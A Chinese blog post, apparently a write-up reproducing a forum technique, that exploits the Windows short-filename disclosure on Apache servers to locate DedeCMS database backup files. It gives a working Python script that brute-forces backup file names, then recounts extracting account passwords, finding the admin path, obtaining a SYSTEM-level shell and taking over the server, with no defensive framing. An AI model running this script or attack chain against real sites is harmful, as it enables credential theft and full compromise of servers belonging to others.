最近吐司论坛里面大佬发出了一个新姿势,于是我就照葫芦画瓢,来复现一番。
吐司大佬的原文章:https://www.t00ls.net/thread-48499-1-1.html
我们先来温习下短文件名漏洞,一般是iis配上.net的 或者apache+windows。
dedecms里面/data/backupdata/目录里面有织梦的备份文件,而且还是txt格式。
如果目标是apache+windows的话,那么就很有可能会存在短文件名漏洞。
于是我找来了个apache+windows且存在该漏洞的织梦cms。
根据短文件名的漏洞利用方式:
只有前六位字符直接显示,后续字符用~1指代。其中数字1还可以递增,如果存在多个文件名类似的文件(名称前6位必须相同,且后缀名前3位必须相同)。后缀名最长只有3位,多余的被截断。
来用python写个脚本。
#!/usr/bin/env python # -*- conding:utf-8 -*- import urllib.request headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:62.0) Gecko/20100101 Firefox/62.0', 'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', 'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2', 'Connection': 'close', 'Upgrade-Insecure-Requests': '1' } url="www.baidu.com/" dir = '/data/backupdata/dede_a~' for i in range(1,6): urls = 'http://'+url + dir + str(i) + '.txt' try: head = urllib.request.Request(urls, headers=headers) data = urllib.request.urlopen(head, timeout=3).getcode() if data == 200: print('成功啦----》' + urls) else: print('错误:' + urls) except Exception as e: print("访问失败!") print(e) continue
然后挨个访问。
发现了账号密码。
在配合着dede报出的找后台漏洞。
拿到shell后发现是system权限的。
就顺手拿下了服务器。